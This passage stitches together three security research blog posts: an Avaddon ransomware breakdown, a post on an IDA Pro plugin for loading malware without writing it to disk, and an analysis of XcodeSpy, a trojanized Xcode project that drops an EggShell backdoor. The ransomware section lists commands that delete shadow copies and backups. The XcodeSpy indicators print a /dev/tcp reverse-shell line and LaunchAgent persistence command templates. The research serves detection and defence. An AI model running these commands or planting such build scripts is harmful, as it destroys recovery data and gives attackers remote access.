Subsequently, we have observed a spike in Avaddon activity, including new victim entries on their blog. The actor’s most recent public statements indicate that the development of Avaddon V2 is well underway.

Avaddon RaaS Technical Breakdown

In the majority of cases, the initial delivery vector for Avaddon is via phishing email. However, affiliates have been known to use RDP along with exploitation of network-centric vulnerabilities. We have observed malicious emails with attached .js payloads, which in turn retrieve the Avaddon payloads from a remote location. In some cases, threat actors have simply attached the ransomware directly to the email messages.

Avaddon payloads perform checks to insure they are not executing on a victim device located in certain regions of CIS.

The GetUserDefaultLCID() function (and/or GetKeyboardLayout()) is used to determine the users’ default locale. The following countries are most frequently excluded from execution:

  • Russia
  • Cherokee Nation
  • Ukraine
  • Tatar
  • Yakut
  • Sakha

A commonly used UAC bypass technique is utilized to ensure that the threat is running with the required privileges. Specifically, this is a UAC bypass via CMSTPLUA COM interface.

Existing Windows tools and utilities are used to manipulate and disable system recovery options, backups, and Volume Shadow Copies. Some syntax can vary across variants. WMIC.EXE is typically used to remove VSS via SHADOWCOPY DELETE /nointeractive.

We have also observed the following commands issued by Avaddon payloads:

  • bcdedit.exe /set {default} recoveryenabled No
  • bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • vssadmin.exe Delete Shadows /All /Quiet
  • wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest

While there have been changes to Avaddon’s encryption routine to combat 3rd party decryption, the historic flow, simplified, would be:

  1. Generation of session Key (AES 256)
  2. Update master key (AES 256)
  3. Master key encrypts relevant user and environment data, along with the ransom note (typically Base64)
  4. Files are encrypted via the session key
  5. Append encrypted session key (RSA 2048) to the end of each encrypted file

Avaddon Evasion Techniques

Avaddon can be configured to terminate specific processes. This is frequently done to target security products or processes which might interfere with the encryption process. An example process list would be:


Avaddon has also been known to prioritize the encryption of Microsoft Exchange-related directories.

Most Avaddon payloads will exclude the following critical OS locations from encryption:


Persistence mechanisms can also vary, and we have observed variations of Avaddon that utilize the creation of a new Windows service, as well as the use of scheduled tasks for persistence.

Avaddon Post-Infection Behavior

Infected files are renamed with an extension consisting of randomly generated letters. These extensions are unique for each victim.

Earlier versions of Avaddon would also replace the infected hosts’ wallpaper image. The current version presents victims with a ransom note as shown below. Victims are warned that aside from their data being encrypted, the actors “have also downloaded a lot of private data from your network”.

Victims are instructed to visit the Avaddon payment portal via the TOR browser, where they must enter their unique ID (found in the ransom note) to proceed.

The actors behind Avaddon do not wait for victims to become non-compliant before they are named and shamed on the blog. Company names appear with a timer, counting down to the posting time for any data stolen from the targeted environment.

It is important to note that victims appear on the leak site at the point when they are breached, and not just when the actor decides to release their data. This means that a company breach could easily become public knowledge regardless of any action taken by the victim, and potentially at a time where the target company would rather ‘control the release’ of that type of information.

At the time of writing, there are just over sixty companies listed, 19 of which include fully released dumps of sensitive information.

Avaddon does not appear to have any particular preference or scruples when it comes to targets. Whereas some ransomware groups have backed off certain types of targets during the ongoing pandemic, Avaddon victims to date include healthcare-related entities. That said, the most represented industries in their victimology are Information Technology & Services, Food Production, Legal Services, and Manufacturing.


Avaddon is another successful example of the current RaaS model. lt has appeared on the scene and made an impact very quickly. The actors are disciplined with regard to whom they will accept as an affiliate, which ensures some degree of longevity and exclusivity. In addition, they very quickly adopted the more aggressive extortion techniques tied to modern ransomware families. This not only includes the public leaking of data but also the threat of DDoS attacks, personal threats, and advertisement-based taunting.

All of these, along with tight payment requirements for the victims, have put Avaddon in a potentially powerful position. They have yet to garner quite the same amount of media attention as predecessors such as Maze and Egregor, but there is no reason to believe that Avaddon is any less dangerous. At this time, those behind Avaddon are highly-engaged with their community and actively developing and iterating in response to security research and detection. With Avaddon version 2 on the horizon, we only expect to see increased activity from this actor as we move further into 2021.

Indicators of Compromise




T1027 Obfuscated Files or Information
T1497.001 Virtualization/Sandbox Evasion / System Checks
T1202 Indirect Command Execution
T1078 Valid Accounts
T1562.001 Impair Defenses: Disable or Modify Tools
T1070.004 Indicator Removal on Host / File Deletion
T1112 Modify Registry
T1012 Query Registry
T1082 System Information Discovery
T1120 Peripheral Device Discovery
T1490 Inhibit System Recovery
T1548.002 Abuse Elevation Control Mechanism / Bypass User Account Control
T1566 Phishing
T1498.001 Network Denial of Service / Direct Network Flood
T1486 Data Encrypted for Impact
T1543.003 Create or Modify System Process: Windows Service

The post Avaddon RaaS | Breaks Public Decryptor, Continues On Rampage appeared first on SentinelLabs.

Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin

25 March 2021 at 11:26

Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.

Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).

One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.

Memory Loader Plugin

If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.

Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.

Loading Files From a Memory Buffer

This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.

MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.

You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.

After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.

Loading Files From a Zip/Encrypted Zip

MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.

MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.

Loading Files From a URL

UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.

You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.

Installation Guide (tested on IDA 7.5+)

  1. Download zip with binaries from here.
  2. Extract the zip files to a folder.
  3. Place the loaders in the loaders directory of IDA.
      1. MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
      2. MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)

  • Place the memory loader DLL in the IDA directory folder.
    1. MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    2. UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    3. UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    4. MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)

How to Use MemZipLoader & UrlLoader

You can load binaries with MemZipLoader and UrlLoader as follows:


  1. Open IDA and choose zip file.
  2. IDA should automatically suggest the loader:
  3. Once selected, a list of the files from the zip will be displayed:
  4. IDA will then use the loader code and load it as if the binary was a local file on the system.


  1. Open any file on your computer in a directory you have write privileges to.
  2. The UrlLoader will suggest a file to open.
  3. After you chose UrlLoader, you will be asked enter a URL:
  4. The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.

Setting Up Visual Studio Development

In order to set up the plugin for Visual Studio development, follow these steps.

    1. Open a DLL project in Visual Studio
    2. An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
    3. accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.

load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.

  1. The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
    1. X64 | X64 – 64 bit IDA with 64 BIT addresses
    2. X32 | X64 – 64 bit IDA with 32 BIT addresses


  • Target file name (Configuration Properties -> Target Name)
    1. X64 | X64 – $(ProjectName)64
    2. X32 | X64 – $(ProjectName)
  • Include header files: (Similar in: (X64 | x64) and( X64 | X32)
    1. Configuration Properties -> C/C++ -> Additional Include Directories – should point to the location of your IDA PRO SDK.
    2. Set Runtime Library -> Multi-threaded Debug (/MTd)
  • Include lib files:
    1. X64 | X64
      1. idasdk75\lib\x64_win_vc_64
  • X64 | X32
    1. idasdk75\lib\x64_win_vc_32
    2. idasdk75\lib\x64_win_vc_64
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Preprocessor Definitions):
    1. X64 | X64 add: __EA64__
    2. X32 | X64 add: __X64__, __NT__
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Undefined Preprocessor Definitions):
    1. X32 | X64: __EA64__
  • Conclusion

    When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.

    Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.

    Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.

    The SentinelOne IDA Pro Memory Loader Plugin is available on Github.


The post Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin appeared first on SentinelLabs.

New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor

18 March 2021 at 12:55

Executive Summary

  • Threat actors are abusing the Run Script feature in Apple’s Xcode IDE to infect unsuspecting Apple Developers via shared Xcode Projects.
  • XcodeSpy is a malicious Xcode project that installs a custom variant of the EggShell backdoor on the developer’s macOS computer along with a persistence mechanism.
  • The backdoor has functionality for recording the victim’s microphone, camera and keyboard, as well as the ability to upload and download files.
  • The XcodeSpy infection vector could be used by other threat actors, and all Apple Developers using Xcode are advised to exercise caution when adopting shared Xcode projects.
  • SentinelOne Singularity protects against XcodeSpy. We also provide a simple method developers can use to scan their Xcode repositories for XcodeSpy in this post.


This year has brought two disturbing new trends into prominence: the targeting of developers and the use of supply chain attacks to infect broad swaths of customers. Targeting software developers is the first step in a successful supply chain attack. One way to do so is to abuse the very development tools necessary to carry out this work. In Jan 2021, Google TAG announced their discovery of a North Korean campaign targeting security researchers and exploit developers. One of the methods of infection entailed the sharing of a Visual Studio project designed to load a malicious DLL. In this post, we discuss a similar attack targeting Apple developers through malicious Xcode projects.

We recently became aware of a trojanized Xcode project in the wild targeting iOS developers thanks to a tip from an anonymous researcher. The malicious project is a doctored version of a legitimate, open-source project available on GitHub. The project offers iOS developers several advanced features for animating the iOS Tab Bar based on user interaction.

The XcodeSpy version, however, has been subtly changed to execute an obfuscated Run Script when the developer’s build target is launched. The script contacts the attackers’ C2 and drops a custom variant of the EggShell backdoor on the development machine. The malware installs a user LaunchAgent for persistence and is able to record information from the victim’s microphone, camera, and keyboard.

We have discovered two variants of the payload, custom backdoors which contain a number of encrypted C2 URLs and encrypted strings for various file paths. One encrypted string in particular is shared between the doctored Xcode project and the custom backdoors, linking them together as part of the same ‘XcodeSpy’ campaign.

At this time, we are aware of one ITW case in a U.S. organization. Indications from our analysis suggest the campaign was in operation at least between July and October 2020 and may also target developers in Asia.

We have thus far been unable to discover other samples of trojanized Xcode projects and cannot gauge the extent of this activity. However, the timeline from known samples and other indicators mentioned below suggest that other XcodeSpy projects may exist. By sharing details of this campaign, we hope to raise awareness of this attack vector and highlight the fact that developers are high-value targets for attackers.

The simple technique for hiding and launching a malicious script used by XcodeSpy could be deployed in any shared Xcode project. Consequently, all Apple developers are cautioned to check for the presence of malicious Run Scripts whenever adopting third-party Xcode projects. We provide a simple method developers can use to scan their existing local Xcode repositories in the Detection and Mitigation section below.

Abusing Xcode’s Run Script Functionality

XcodeSpy takes advantage of a built-in feature of Apple’s IDE which allows developers to run a custom shell script on launching an instance of their target application. While the technique is easy to identify if looked for, new or inexperienced developers who are not aware of the Run Script feature are particularly at risk since there is no indication in the console or debugger to indicate execution of the malicious script.

The sample we analyzed used a copy of a legitimate open-source project that can be found on Github called TabBarInteraction. For the avoidance of any doubt, the code in the Github project is not infected with XcodeSpy, nor is the developer, potato04, implicated in any way with the malware operation.

In the doctored version of TabBarInteraction, the obfuscated malscript can be found in the Build Phases tab. By default, the Run Script panel is not expanded, further aiding the malware’s bid to avoid detection by casual inspection.

Clicking the disclosure button reveals the existence of the obfuscated script.

The obfuscation is rather simple and the output can be inspected safely by substituting eval with echo and running the script in a separate shell.

The script creates a hidden file called .tag in the /tmp directory, which contains a single command: mdbcmd. This in turn is piped via a reverse shell to the attackers C2.

As we went to press today, the sample was not detected by any of the static engines on VirusTotal.

Linking XcodeSpy to a Custom EggShell Backdoor

By the time we discovered the malicious Xcode project, the C2 at cralev[.]me was already offline, so it was not possible to ascertain directly the result of the mdbcmd command. Fortunately, however, there are two samples of the EggShell backdoor on VirusTotal that contain the telltale XcodeSpy string /private/tmp/.tag.


These samples were both uploaded to VirusTotal via the Web interface from Japan, the first on August 5th and the second on October 13th.

The later sample was also found in the wild in late 2020 on a victim’s Mac in the United States. For reasons of confidentiality, we are unable to provide further details about the ITW incident. However, the victim reported that they are repeatedly targeted by North Korean APT actors and the infection came to light as part of their regular threat hunting activities.

The samples uploaded from Japan to VirusTotal came from users who were not signed in to a VirusTotal account, so it is impossible to say whether they came from the same source or two different sources. Nonetheless, they are both linked to each other and the Xcode project via containing the string P4CCeYZxhHU/hH2APz6EcXc=, which turns out to be an encrypted version of the /private/tmp/.tag string found in the malicious Xcode project.

The EggShell backdoors use a simple string encryption technique. Decryption involves passing an encrypted string to the [StringUtil decode:] method, which encodes the encrypted string in base64, then iterates over each byte, adding 0xf0 to it. This produces a printable ASCII character code which is then concatenated to produce the full string.

We can implement our own decoder in Objective-C based on the pseudo code above to decrypt the strings in the Mach-O binaries.

Decoding further strings in both variants reveals a number of hardcoded URLs used for uploading data from the victim’s machine.

Where data exists, all these domains from the backdoor binaries were first seen or first “whois”-queried on the 10th or 11th of September.

The domain cralev[.]me from the malicious Xcode project was also first seen on the 10th of September.

The doctored version of the TabBarInteraction Xcode project was itself first seen on VirusTotal a week earlier, on 4th September.

The juxtaposition of these dates leads us to speculate that the attackers themselves may have uploaded the XcodeSpy project file to VirusTotal to test detection before activating their C2s. Aside from the suppro[.]co and cralev[.]me domains, the others appear to be inactive or unregistered, perhaps awaiting future use. Interestingly, the country code available from VT about the XcodeSpy uploader’s location is ‘ZZ’ – unknown.

Meanwhile, the EggShell backdoor variants were each first seen on VirusTotal some two months apart (5th August and 13th October). If the backdoors were uploaded by victims rather than the attackers (an assumption that is by no means secure), that would indicate that the first custom EggShell binary may have been a payload for an earlier XcodeSpy sample. However, we cannot assign great confidence to these speculations based on the available data. What we do know is that the first EggShell payload was uploaded a full month before the known dropper and over two months before the second payload was seen on VirusTotal on 13th October.

EggShell Execution Behavior

On execution, the customized EggShell binaries drop a LaunchAgent either at ~/Library/LaunchAgents/ or ~/Library/LaunchAgents/ This plist checks to see if the original executable is running; if not, it creates a copy of the executable from a ‘master’ version at ~/Library/Application Support/ then executes it.

The EggShell also drops a zero byte file at /private/tmp/wt0217.lck, and a data file at ~/Library/Application Scripts/ A number of other filepaths are also encrypted in the binaries (see the IoCs at the end of this post for a full list). Almost all of these paths have been customized by the attacker. However, one encrypted string decrypts to /tmp/.avatmp, a default path found in the public EggShell repo for storing AV captures.

The source code in the public EggShell repo contains various functions for persistence, screen capture and AV recording, among other things.

Analysis of the compiled XcodeSpy variants found in the wild and on VirusTotal implement these as well as their own custom data encoding and keylogging methods.

Detection and Mitigation

A full list of known IoCs is provided at the end of this post. As all C2s, path names and encrypted strings are highly customizable and easy to change, these may only be useful as indicators of past compromise for these particular samples. Therefore, a behavioral detection solution is required to fully detect the presence of XcodeSpy payloads.

Threat hunters and developers concerned as to whether they have inadvertently downloaded a project containing XcodeSpy can run a manual search with the following on the command line:

find . -name "project.pbxproj" -print0 | xargs -0 awk '/shellScript/ && /eval/{print "\033[37m" $0 "\033[31m" FILENAME}'

This searches for Run Scripts in the Build Phases part of an Xcode project (within the project.pbxproj file) containing both the strings shellScript and eval. If any are found, it prints out a copy of the script for inspection, along with the filename in which it was found.

The following example searches for XcodeSpy in the Documents folder and all its subfolders.

Users should switch to the appropriate parent folder in which they save Xcode projects before running the command.

Individual projects can of course be inspected for malicious Run Scripts via the Build Phases tab in the Xcode project navigator.


This is not the first time threat actors have used Xcode as a vector to infect Apple platform developers. In 2015, XcodeGhost offered iOS developers in China a version of Xcode that downloaded faster from local mirrors than from Apple’s servers. What the recipients didn’t know was that the version of Xcode they received had been altered to inject malicious code into any apps compiled with it. Apps compiled with XcodeGhost could be used by the attackers to read and write to the device clipboard, open specific URLs (e.g., WhatsApp, Facebook) and exfiltrate data to C2s. In effect, XcodeGhost was a supply chain attack, infecting downstream victims by means of third-party software.

In contrast, XcodeSpy takes the form of a trojanized Xcode project, making it lighter and easier to distribute than a full version of the Xcode IDE. While XcodeSpy appears to be directly targeted at the developers themselves rather than developers’ products or clients, it’s a short step from backdooring a developer’s working environment to delivering malware to users of that developer’s software.

It is entirely possible that XcodeSpy may have been targeted at a particular developer or group of developers, but there are other potential scenarios with such high-value victims. Attackers could simply be trawling for interesting targets and gathering data for future campaigns, or they could be attempting to gather AppleID credentials for use in other campaigns that use malware with valid Apple Developer code signatures. These suggestions do not exhaust the possibilities, nor are they mutually exclusive.

We hope that this publication will raise awareness of this threat, and we would be very interested to hear from other researchers or individuals that find evidence of XcodeSpy infections in the wild.

Indicators of Compromise

URLs & Resolving IPs

EggShell bins: */.update
SHA 256: 6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b
SHA 1: 556a2174398890e3d628aec0163a42a7b7fb8ffd
SHA 256: cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134
SHA 1: 0ae9d61185f793c6d53e560e91265583675abeb6
SHA 256: 6a1f7edf41ac2d52e3d0442b825bbdaf404199ed8b45b33ecd52a58acc12087a
SHA 1: 4d1006610a4fe903b6b9fdb41cff7fc88b3a580c

Xcode proj:
SHA 256: 1cfa154d0145c1fe059ffe61e7b295c16bbc0e0b0e707e7ad0b5f76c7d6b66d2
SHA 1: d65334d6c829955947f0ceb2258581c59cfd7dab

Encoded Filepaths
~/Library/Application Scripts/
~/Library/Application Scripts/
~/Library/Application Scripts/
~/Library/Application Scripts/
~/Library/Application Support/
~/Library/Application Support/

Behavioral Indicators
killall %@;sleep 3;cp "%@" "%@";chmod +x "%@";"%@" %@ 1>/dev/null 2>/dev/null
if (! pgrep -x %@ >/dev/null);then cp "%@" "%@";chmod +x "%@";"%@";fi;
sleep 1;launchctl unload "%@" > /dev/null;launchctl load "%@" > /dev/null
launchctl unload "%@" 2>/dev/null; rm "%@"
echo mdbcmd > /private/tmp/.tag;bash&> /dev/tcp/ 0>&1 &

Application Layer Protocol: Web Protocols | XcodeSpy can use HTTPS in C2 Communications T1071 001.
Create or Modify System Process: Launch Agent | XcodeSpy can establish persistence via a LaunchAgent T1543 001.
File and Directory Discovery | XcodeSpy can scan directories on a compromised host T1083.
Hide Artifacts: Hidden Files and Directories | XcodeSpy hides several files with a dot prefix to make them hidden from view in the Finder application T1564 001.
Ingress Tool Transfer | XcodeSpy can download its payload from a C2 server T1105.
Masquerading | XcodeSpy drops several files at paths using the “” reverse identifier and in subfolders named after legitimate macOS system software (TextEdit, Preview) T1036.
Input Capture: Keylogging | XcodeSpy can log user keystrokes to intercept credentials as the user types them T1056 001.
Input Capture: GUI Input Capture | XcodeSpy can prompt users for credentials with a seemingly legitimate prompt via AppleScript T1056 002.
Process Discovery | XcodeSpy can collect data on running and parent processes T1057.

The post New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor appeared first on SentinelLabs.